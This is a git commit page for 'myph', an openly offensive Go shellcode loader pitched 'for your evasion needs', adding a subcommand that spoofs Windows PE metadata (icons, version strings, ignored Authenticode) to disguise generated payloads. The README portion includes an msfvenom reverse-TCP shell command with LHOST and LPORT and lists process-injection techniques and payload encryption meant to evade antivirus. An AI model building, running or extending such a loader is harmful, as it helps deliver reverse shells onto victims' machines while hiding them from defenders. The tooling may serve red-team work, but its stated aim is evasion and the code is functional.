myph.git


myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
log | files | refs | archive | README | LICENSE

commit a5858c72c9df3c4b06cac24aab9526195bbfcb11
parent a90af084642a3b66dfcb0a43299c21709ca59e0e
Author: djnn <[email protected]>
Date: Thu, 10 Aug 2023 23:49:16 +0200

feat(cli): winres support to change metadata (#3) * feat(winres): setting up subcommand to edit rc info * feat(rc): proof-of-concept support for winres * feat(docs): usage for `spoof` subcommand * fix(docs): removing requirement from TODO.txt * fix(docs): program usage

Diffstat:
A.github/test-data/example.json | 35+++++++++++++++++++++++++++++++++++
A.github/test-data/pwned.ico | 0
A.github/test-data/smersh.png | 0
MMakefile | 2+-
MREADME.md | 81+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++--
MTODO.txt | 3---
Mcli/defaults.go | 20+++++++++++---------
Mcli/parser.go | 80+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++----------
Mcli/types.go | 6++++++
Mgo.mod | 3+++
Mgo.sum | 30++++++++++++++++++++++++++++++
Mloaders/processHollowing.go | 4----
Arc/fromJson.go | 383+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

13 files changed, 618 insertions(+), 29 deletions(-)

diff --git a/.github/test-data/example.json b/.github/test-data/example.json
@@ -0,0 +1,35 @@
+{
+    "RT_GROUP_ICON": {
+        "APP": {
+            "0000": [
+                "smersh.png"
+            ]
+        },
+        "#42": {
+            "040C": "pwned.ico"
+        }
+    },
+    "RT_MANIFEST": {
+        "#1": {
+            "0409": {}
+        }
+    },
+    "RT_VERSION": {
+        "#1": {
+            "0409": {
+                "info": {
+                    "0409": {
+                        "FileDescription": "golang shellcode loader",
+                        "InternalName": "myph",
+                        "LegalCopyright": "CMEPW -- GPLv3",
+                        "OriginalFilename": "payload.exe",
+                        "ProductName": "myph-payload",
+                        "ProductVersion": "1.0",
+                        "FileVersion": "1.0",
+                        "Comments": "Ca devrait le faire"
+                    }
+                }
+            }
+        }
+    }
+}
diff --git a/.github/test-data/pwned.ico b/.github/test-data/pwned.ico
Binary files differ.
diff --git a/.github/test-data/smersh.png b/.github/test-data/smersh.png
Binary files differ.
diff --git a/Makefile b/Makefile
@@ -2,7 +2,7 @@
 # -------------------
 
 APP_NAME = myph
-APP_VERSION = 1.1.0
+APP_VERSION = 1.2.0
 GIT_REVISION = `git rev-parse HEAD`
 DOCKER_IMAGE_TAG ?= $(APP_VERSION)
 DOCKER_LOCAL_IMAGE = $(APP_NAME):$(DOCKER_IMAGE_TAG)
diff --git a/README.md b/README.md
@@ -41,6 +41,12 @@ go install github.com/cmepw/myph@latest
 ```
 Usage:
   myph [flags]
+  myph [command]
+
+Available Commands:
+  completion  Generate the autocompletion script for the specified shell
+  help        Help about any command
+  spoof       spoof PE metadata using versioninfo
 
 Flags:
   -e, --encryption encKind   encryption method. (allowed: AES, chacha20, XOR, blowfish) (default AES)
@@ -52,9 +58,11 @@ Flags:
       --sleep-time uint      sleep time in seconds before executing loader (default: 0)
   -t, --technique string     shellcode-loading technique (allowed: CRT, ProcessHollowing, CreateThread, Syscall) (default "CRT")
   -v, --version              version for myph
+
+Use "myph [command] --help" for more information about a command.
 ```
 
-#### Methods
+#### Loader Methods
 
 This tool supports few methods for now, but aims to add more as time goes on:
 - CreateThread
@@ -65,7 +73,7 @@ This tool supports few methods for now, but aims to add more as time goes on:
 If you don't know what that is about, go check out [this repository](https://github.com/CMEPW/BypassAV) :)~
 
 
-#### Example
+#### Example run
 
 Generate a payload like so:
 
@@ -78,6 +86,9 @@ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.2.2 LPORT=1234 -f raw -o ms
 
 # you should find your payload here
 file ./something.exe
+
+# add some program metada
+./myph spoof --pe something.exe --file .github/test-data/example.json
 ```
 
 #### Using docker
@@ -90,6 +101,72 @@ make docker
 docker build . -t myph:latest
 ```
 
+#### Editing file properties
+
+A subcommand is available to edit a PE file's properties & change its icon or file version (for instance).
+For more information on CLI usage, you can run:
+```bash
+# will give you a little help display
+./myph spoof --help
+
+# will edit demo.exe with the data specified in example.json
+./myph spoof --pe demo.exe --file example.json
+```
+
+It expects a JSON file, containing the metadata you want to set. You can find an example in `.github/test-data` directory.
+
+Information on resource types and language IDs can be found [here](https://learn.microsoft.com/en-us/windows/win32/menurc/resource-types) and [here](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-lcid/70feba9f-294e-491e-b6eb-56532684c37f).
+
+You can set data depending on the language.
+BMP, ICO, and PNG files are supported, and you can a wide array of information:
+
+```json
+{
+  "RT_VERSION": {
+    "#1": {
+      "0000": {
+        "fixed": {
+          "file_version": "1.2",
+          "product_version": "1.2.3",
+          "flags": "Debug,Patched",
+          "timestamp": "2020-12-18T23:00:00+01:00"
+        },
+        "info": {
+          "0409": {
+            "Comments": "that should do it",
+            "CompanyName": "Smersh",
+            "FileDescription": "smrsh 4 evr",
+            "FileVersion": "1.2",
+            "InternalName": "",
+            "LegalCopyright": "GNU GPL v3",
+            "LegalTrademarks": "",
+            "OriginalFilename": "myph.exe",
+            "PrivateBuild": "",
+            "ProductName": "myph ldr",
+            "ProductVersion": "1.2 release",
+            "SpecialBuild": ""
+          },
+          "040C": {
+            "Comments": "ca devrait le faire",
+            "CompanyName": "Smersh",
+            "FileDescription": "smrh pr tjrs",
+            "FileVersion": "1.2",
+            "InternalName": "",
+            "LegalCopyright": "GNU GPL v3",
+            "LegalTrademarks": "",
+            "OriginalFilename": "myph.exe",
+            "PrivateBuild": "",
+            "ProductName": "myph ldr",
+            "ProductVersion": "1.2 release",
+            "SpecialBuild": ""
+          }
+        }
+      }
+    }
+  }
+}
+```
+
 ### Contributing
 
 Contributions are welcome, but please try to keep PRs short and issues descriptive. :)~
diff --git a/TODO.txt b/TODO.txt
@@ -13,9 +13,6 @@ Misc:
     - Refactoring CLI options to interfaces
     - Decrypt shellcode at the last possible time & split templates into trigger & prepare-payload functions
 
-Commands:
-    - Add support for GoVersionInfo
-
 
 #############################
 ####### ROADMAP 1.3.0 #######
diff --git a/cli/defaults.go b/cli/defaults.go
@@ -7,15 +7,17 @@ import (
 // Get default value for Options struct
 func GetDefaultCLIOptions() Options {
 	opts := Options{
-		ShellcodePath: "msf.raw",
-		OutName:       "payload.exe",
-		OS:            "windows",
-		Arch:          "amd64",
-		Target:        "cmd.exe",
-		Encryption:    EncKindAES,
-		Key:           "",
-		Technique:     "CRT",
-		SleepTime:     0,
+		ShellcodePath:   "msf.raw",
+		OutName:         "payload.exe",
+		OS:              "windows",
+		Arch:            "amd64",
+		Target:          "cmd.exe",
+		Encryption:      EncKindAES,
+		Key:             "",
+		Technique:       "CRT",
+		SleepTime:       0,
+		PEFilePath:      "payload.exe",
+		VersionFilePath: "goversion.json",
 	}
 
 	return opts
diff --git a/cli/parser.go b/cli/parser.go
@@ -4,10 +4,13 @@ import (
 	"fmt"
 	"os"
 	"os/exec"
+	"path/filepath"
 
 	"github.com/cmepw/myph/loaders"
+	"github.com/cmepw/myph/rc"
 	"github.com/cmepw/myph/tools"
 	"github.com/spf13/cobra"
+	"github.com/tc-hib/winres"
 )
 
 const MYPH_TMP_DIR = "/tmp/myph-out"
@@ -41,8 +44,61 @@ const ASCII_ART = `
 
 func GetParser(opts *Options) *cobra.Command {
 
-	version := "1.1.0"
-	var cmd = &cobra.Command{
+	version := "1.2.0"
+	var spoofMetadata = &cobra.Command{
+		Use:                "spoof",
+		Version:            version,
+		DisableSuggestions: true,
+		Short:              "spoof PE metadata using versioninfo",
+		Long:               ASCII_ART,
+		Run: func(cmd *cobra.Command, args []string) {
+
+			/* obligatory skid ascii art */
+			fmt.Printf("%s\n\n", ASCII_ART)
+
+			exe, err := os.Open(opts.PEFilePath)
+			if err != nil {
+				panic(err)
+			}
+			defer exe.Close()
+
+			rs, err := winres.LoadFromEXE(exe)
+			if err != nil {
+				rs = &winres.ResourceSet{}
+			}
+
+			err = rc.LoadResourcesFromJson(rs, opts.VersionFilePath)
+			if err != nil {
+				panic(err)
+			}
+
+			fmt.Printf("[+] Successfully extracted PE metadata from JSON\n")
+
+			tmpPath := "/tmp/" + filepath.Base(opts.PEFilePath) + ".tmp"
+			out, err := os.Create(tmpPath)
+			if err != nil {
+				panic(err)
+			}
+			defer out.Close()
+
+			err = rs.WriteToEXE(out, exe, winres.WithAuthenticode(winres.IgnoreSignature))
+			if err != nil {
+				panic(err)
+			}
+
+			fmt.Printf("[+] New metadata is set !\n")
+
+			exe.Close()
+			out.Close()
+
+			os.Remove(opts.PEFilePath)
+			os.Rename(tmpPath, opts.PEFilePath)
+
+			fmt.Printf("[+] Done !\n")
+		},
+	}
+
+	var runLoader = &cobra.Command{
 		Use:                "myph",
 		Version:            version,
 		DisableSuggestions: true,
@@ -208,16 +264,20 @@ func GetParser(opts *Options) *cobra.Command {
 	}
 
 	defaults := GetDefaultCLIOptions()
+	var rootCmd = runLoader
 
-	cmd.PersistentFlags().StringVarP(&opts.OutName, "out", "f", defaults.OutName, "output name")
-	cmd.PersistentFlags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
-	cmd.PersistentFlags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to")
-	cmd.PersistentFlags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, ProcessHollowing, CreateThread, Syscall)")
+	rootCmd.AddCommand(spoofMetadata)
 
-	cmd.PersistentFlags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, chacha20, XOR, blowfish)")
-	cmd.PersistentFlags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption)")
+	rootCmd.Flags().StringVarP(&opts.OutName, "out", "f", defaults.OutName, "output name")
+	rootCmd.Flags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
+	rootCmd.Flags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to")
+	rootCmd.Flags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, ProcessHollowing, CreateThread, Syscall)")
+	rootCmd.Flags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, chacha20, XOR, blowfish)")
+	rootCmd.Flags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption)")
+	rootCmd.Flags().UintVarP(&opts.SleepTime, "sleep-time", "", defaults.SleepTime, "sleep time in seconds before executing loader (default: 0)")
 
-	cmd.PersistentFlags().UintVarP(&opts.SleepTime, "sleep-time", "", defaults.SleepTime, "sleep time in seconds before executing loader (default: 0)")
+	spoofMetadata.Flags().StringVarP(&opts.PEFilePath, "pe", "p", defaults.PEFilePath, "PE file to spoof")
+	spoofMetadata.Flags().StringVarP(&opts.VersionFilePath, "file", "f", defaults.VersionFilePath, "manifest file path (as JSON)")
 
-	return cmd
+	return rootCmd
 }
diff --git a/cli/types.go b/cli/types.go
@@ -90,4 +90,10 @@ type Options struct {
 
 	// Sleep time before running execution
 	SleepTime uint
+
+	// Goversion filepath
+	VersionFilePath string
+
+	// PE filepath
+	PEFilePath string
 }
diff --git a/go.mod b/go.mod
@@ -9,6 +9,9 @@ require (
 
 require (
 	github.com/inconshreveable/mousetrap v1.1.0 // indirect
+	github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 // indirect
 	github.com/spf13/pflag v1.0.5 // indirect
+	github.com/tc-hib/winres v0.2.0 // indirect
+	golang.org/x/image v0.1.0 // indirect
 	golang.org/x/sys v0.10.0 // indirect
 )
diff --git a/go.sum b/go.sum
@@ -1,14 +1,44 @@
 github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
 github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
 github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
+github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 h1:zYyBkD/k9seD2A7fsi6Oo2LfFZAehjjQMERAvZLEDnQ=
+github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646/go.mod h1:jpp1/29i3P1S/RLdc7JQKbRpFeM1dOBd8T9ki5s+AY8=
 github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
 github.com/spf13/cobra v1.7.0 h1:hyqWnYt1ZQShIddO5kBpj3vu05/++x6tJ6dg8EC572I=
 github.com/spf13/cobra v1.7.0/go.mod h1:uLxZILRyS/50WlhOIKD7W6V5bgeIt+4sICxh6uRMrb0=
 github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
 github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
+github.com/tc-hib/winres v0.2.0 h1:gly/ivDWGvlhl7ENtEmA7wPQ6dWab1LlLq/DgcZECKE=
+github.com/tc-hib/winres v0.2.0/go.mod h1:uG6S5M2Q0/kThoqsCSYvGJODUQP9O9R0SNxUPmFIegw=
+github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
+golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
+golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
 golang.org/x/crypto v0.11.0 h1:6Ewdq3tDic1mg5xRO4milcWCfMVQhI4NkqWWvqejpuA=
 golang.org/x/crypto v0.11.0/go.mod h1:xgJhtzW8F9jGdVFWZESrid1U1bjeNy4zgy5cRr/CIio=
+golang.org/x/image v0.1.0 h1:r8Oj8ZA2Xy12/b5KZYj3tuv7NG/fBz3TwQVvpJ9l8Rk=
+golang.org/x/image v0.1.0/go.mod h1:iyPr49SD/G/TBxYVB/9RRtGUT5eNbo2u4NamWeQcD5c=
+golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
+golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
+golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
+golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
 golang.org/x/sys v0.10.0 h1:SqMFp9UcQJZa+pmYuAKjd9xq1f0j5rLcDIk0mj4qAsA=
 golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
+golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
+golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
+golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
+golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
+golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
+golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
+golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
+golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
 gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
 gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
diff --git a/loaders/processHollowing.go b/loaders/processHollowing.go
@@ -13,10 +13,6 @@ import (
 */
 
 func GetProcessHollowingTemplate(targetProcess string) string {
-
-	println("\n[!] Please be aware ProcessHollowing implementation is still a work in progress and unstable.")
-	println("Maybe you could use another technique instead...? I hear the CRT one is pretty good...\n")
-
 	return fmt.Sprintf(`
 package main
 
diff --git a/rc/fromJson.go b/rc/fromJson.go
@@ -0,0 +1,383 @@
+package rc
+
+/*
+   Copied from :
+   https://github.com/tc-hib/go-winres/blob/main/resdir.go
+
+   and took just what we need. I left the data types as-is
+   if we want to expand usage later.
+
+   it would be really cool if this was just in the library,
+   but it might be actually, id have to check this out.
+*/
+
+import (
+	"encoding/json"
+	"errors"
+	"image"
+	"os"
+	"path/filepath"
+	"sort"
+	"strconv"
+	"strings"
+
+	"github.com/tc-hib/winres"
+	"github.com/tc-hib/winres/version"
+)
+
+const (
+	errInvalidSet    = "invalid resource set definition"
+	errInvalidCursor = "invalid cursor definition"
+	errInvalidIcon   = "invalid icon definition"
+)
+
+type jsonDef map[string]map[string]map[string]interface{}
+
+var typeIDToString = map[winres.ID]string{
+	winres.RT_CURSOR:       "RT_CURSOR",
+	winres.RT_BITMAP:       "RT_BITMAP",
+	winres.RT_ICON:         "RT_ICON",
+	winres.RT_MENU:         "RT_MENU",
+	winres.RT_DIALOG:       "RT_DIALOG",
+	winres.RT_STRING:       "RT_STRING",
+	winres.RT_FONTDIR:      "RT_FONTDIR",
+	winres.RT_FONT:         "RT_FONT",
+	winres.RT_ACCELERATOR:  "RT_ACCELERATOR",
+	winres.RT_RCDATA:       "RT_RCDATA",
+	winres.RT_MESSAGETABLE: "RT_MESSAGETABLE",
+	winres.RT_GROUP_CURSOR: "RT_GROUP_CURSOR",
+	winres.RT_GROUP_ICON:   "RT_GROUP_ICON",
+	winres.RT_VERSION:      "RT_VERSION",
+	winres.RT_PLUGPLAY:     "RT_PLUGPLAY",
+	winres.RT_VXD:          "RT_VXD",
+	winres.RT_ANICURSOR:    "RT_ANICURSOR",
+	winres.RT_ANIICON:      "RT_ANIICON",
+	winres.RT_HTML:         "RT_HTML",
+	winres.RT_MANIFEST:     "RT_MANIFEST",
+}
+
+var typeIDFromString = map[string]winres.ID{
+	"RT_CURSOR":       winres.RT_CURSOR,
+	"RT_BITMAP":       winres.RT_BITMAP,
+	"RT_ICON":         winres.RT_ICON,
+	"RT_MENU":         winres.RT_MENU,
+	"RT_DIALOG":       winres.RT_DIALOG,
+	"RT_STRING":       winres.RT_STRING,
+	"RT_FONTDIR":      winres.RT_FONTDIR,
+	"RT_FONT":         winres.RT_FONT,
+	"RT_ACCELERATOR":  winres.RT_ACCELERATOR,
+	"RT_RCDATA":       winres.RT_RCDATA,
+	"RT_MESSAGETABLE": winres.RT_MESSAGETABLE,
+	"RT_GROUP_CURSOR": winres.RT_GROUP_CURSOR,
+	"RT_GROUP_ICON":   winres.RT_GROUP_ICON,
+	"RT_VERSION":      winres.RT_VERSION,
+	"RT_PLUGPLAY":     winres.RT_PLUGPLAY,
+	"RT_VXD":          winres.RT_VXD,
+	"RT_ANICURSOR":    winres.RT_ANICURSOR,
+	"RT_ANIICON":      winres.RT_ANIICON,
+	"RT_HTML":         winres.RT_HTML,
+	"RT_MANIFEST":     winres.RT_MANIFEST,
+}
+
+func idsFromStrings(t, r, l string) (winres.Identifier, winres.Identifier, uint16, error) {
+	var (
+		typeID winres.Identifier
+		resID  winres.Identifier
+		langID uint16
+	)
+
+	if id, ok := typeIDFromString[t]; ok {
+		typeID = id
+	} else {
+		typeID = stringToIdentifier(t)
+	}
+	if typeID == nil {
+		return nil, nil, 0, errors.New("invalid type identifier")
+	}
+
+	resID = stringToIdentifier(r)
+	if resID == nil {
+		return nil, nil, 0, errors.New("invalid resource identifier")
+	}
+
+	n, err := strconv.ParseUint(l, 16, 16)
+	if err != nil {
+		return nil, nil, 0, errors.New("invalid language identifier")
+	}
+	langID = uint16(n)
+
+	return typeID, resID, langID, nil
+}
+
+func stringToIdentifier(s string) winres.Identifier {
+	if s == "" {
+		return nil
+	}
+	if s[0] == '#' {
+		n, err := strconv.ParseInt(s[1:], 10, 16)
+		if err == nil {
+			return winres.ID(n)
+		}
+	}
+	return winres.Name(s)
+}
+
+func LoadResourcesFromJson(rs *winres.ResourceSet, jsonName string) error {
+	dir := filepath.Dir(jsonName)
+	b, err := os.ReadFile(jsonName)
+
+	if err != nil {
+		return err
+	}
+	res := jsonDef{}
+	err = json.Unmarshal(b, &res)
+	if err != nil {
+		return err
+	}
+
+	for tid, t := range res {
+		for _, r := range sortedRes(t) {
+			for _, l := range sortedLang(r.langs) {
+				typeID, resID, langID, err := idsFromStrings(tid, r.id, l.id)
+				if err != nil {
+					return err
+				}
+				switch typeID {
+				case winres.RT_ICON:
+					return errors.New("cannot import RT_ICON resources directly, use RT_GROUP_ICON instead")
+				case winres.RT_CURSOR:
+					return errors.New("cannot import RT_CURSOR resources directly, use RT_GROUP_CURSOR instead")
+				case winres.RT_GROUP_CURSOR:
+					cursor, err := loadCursor(dir, l.data)
+					if err != nil {
+						return err
+					}
+					err = rs.SetCursorTranslation(resID, langID, cursor)
+					if err != nil {
+						return err
+					}
+				case winres.RT_GROUP_ICON:
+					icon, err := loadIcon(dir, l.data)
+					if err != nil {
+						return err
+					}
+					err = rs.SetIconTranslation(resID, langID, icon)
+					if err != nil {
+						return err
+					}
+				case winres.RT_VERSION:
+					vi := version.Info{}
+					j, _ := json.Marshal(l.data)
+					err = json.Unmarshal(j, &vi)
+					if err != nil {
+						return err
+					}
+					rs.SetVersionInfo(vi)
+				case winres.RT_BITMAP:
+					filename, ok := l.data.(string)
+					if !ok {
+						return errors.New(errInvalidSet)
+					}
+					dib, err := loadBMP(filepath.Join(dir, filename))
+					if err != nil {
+						return err
+					}
+					err = rs.Set(winres.RT_BITMAP, resID, langID, dib)
+					if err != nil {
+						return err
+					}
+				case winres.RT_MANIFEST:
+					switch val := l.data.(type) {
+					case string:
+						data, err := os.ReadFile(filepath.Join(dir, val))
+						if err != nil {
+							return err
+						}
+						err = rs.Set(typeID, resID, langID, data)
+						if err != nil {
+							return err
+						}
+					default:
+						j, _ := json.Marshal(val)
+						m := winres.AppManifest{}
+						err = json.Unmarshal(j, &m)
+						if err != nil {
+							return err
+						}
+						rs.SetManifest(m)
+					}
+				default:
+					filename, ok := l.data.(string)
+					if !ok {
+						return errors.New(errInvalidSet)
+					}
+					data, err := os.ReadFile(filepath.Join(dir, filename))
+					if err != nil {
+						return err
+					}
+					err = rs.Set(typeID, resID, langID, data)
+					if err != nil {
+						return err
+					}
+				}
+			}
+		}
+	}
+
+	return nil
+}
+
+type resource struct {
+	id    string
+	langs map[string]interface{}
+}
+
+type lang struct {
+	id   string
+	data interface{}
+}
+
+func sortedRes(m map[string]map[string]interface{}) []resource {
+	var res []resource
+	for id, langs := range m {
+		res = append(res, resource{id, langs})
+	}
+	sort.Slice(res, func(i, j int) bool {
+		return res[i].id < res[j].id
+	})
+	return res
+}
+
+func sortedLang(m map[string]interface{}) []lang {
+	var l []lang
+	for id, data := range m {
+		l = append(l, lang{id, data})
+	}
+	sort.Slice(l, func(i, j int) bool {
+		return l[i].id < l[j].id
+	})
+	return l
+}
+
+func loadCursor(dir string, c interface{}) (*winres.Cursor, error) {
+	switch c := c.(type) {
+	case string:
+		return loadCUR(filepath.Join(dir, c))
+
+	case []interface{}:
+		var images []winres.CursorImage
+		for i := range c {
+			o, ok := c[i].(map[string]interface{})
+			if !ok {
+				return nil, errors.New(errInvalidCursor)
+			}
+			curImg, err := loadCursorImage(dir, o)
+			if err != nil {
+				return nil, err
+			}
+			images = append(images, curImg)
+		}
+		return winres.NewCursorFromImages(images)
+
+	case map[string]interface{}:
+		curImg, err := loadCursorImage(dir, c)
+		if err != nil {
+			return nil, err
+		}
+		return winres.NewCursorFromImages([]winres.CursorImage{curImg})
+	}
+
+	return nil, errors.New(errInvalidCursor)
+}
+
+func loadCursorImage(dir string, c map[string]interface{}) (winres.CursorImage, error) {
+	x, xOK := c["x"].(float64)
+	y, yOK := c["y"].(float64)
+	f, fOK := c["image"].(string)
+	if !fOK || !xOK || !yOK {
+		return winres.CursorImage{}, errors.New(errInvalidCursor)
+	}
+
+	img, err := loadImage(filepath.Join(dir, f))
+	if err != nil {
+		return winres.CursorImage{}, err
+	}
+
+	return winres.CursorImage{
+		Image:   img,
+		HotSpot: winres.HotSpot{X: uint16(x), Y: uint16(y)},
+	}, nil
+}
+
+func loadIcon(dir string, x interface{}) (*winres.Icon, error) {
+	switch x := x.(type) {
+	case string:
+		if strings.ToLower(filepath.Ext(x)) == ".ico" {
+			return loadICO(filepath.Join(dir, x))
+		}
+		img, err := loadImage(filepath.Join(dir, x))
+		if err != nil {
+			return nil, err
+		}
+		return winres.NewIconFromResizedImage(img, nil)
+	case []interface{}:
+		var images []image.Image
+		for i := range x {
+			f, ok := x[i].(string)
+			if !ok {
+				return nil, errors.New(errInvalidIcon)
+			}
+			img, err := loadImage(filepath.Join(dir, f))
+			if err != nil {
+				return nil, err
+			}
+			images = append(images, img)
+		}
+		return winres.NewIconFromImages(images)
+	}
+	return nil, errors.New(errInvalidIcon)
+}
+
+func loadImage(name string) (image.Image, error) {
+	f, err := os.Open(name)
+	if err != nil {
+		return nil, err
+	}
+	defer f.Close()
+
+	img, _, err := image.Decode(f)
+	return img, err
+}
+
+func loadCUR(name string) (*winres.Cursor, error) {
+	f, err := os.Open(name)
+	if err != nil {
+		return nil, err
+	}
+	defer f.Close()
+
+	return winres.LoadCUR(f)
+}
+
+func loadICO(name string) (*winres.Icon, error) {
+	f, err := os.Open(name)
+	if err != nil {
+		return nil, err
+	}
+	defer f.Close()
+
+	return winres.LoadICO(f)
+}
+
+func loadBMP(name string) ([]byte, error) {
+	b, err := os.ReadFile(name)
+	if err != nil {
+		return nil, err
+	}
+
+	if len(b) > 14 && b[0] == 'B' && b[1] == 'M' && int(b[5])<<24|int(b[4])<<16|int(b[3])<<8|int(b[2]) == len(b) {
+		return b[14:], nil
+	}
+
+	return b, nil
+}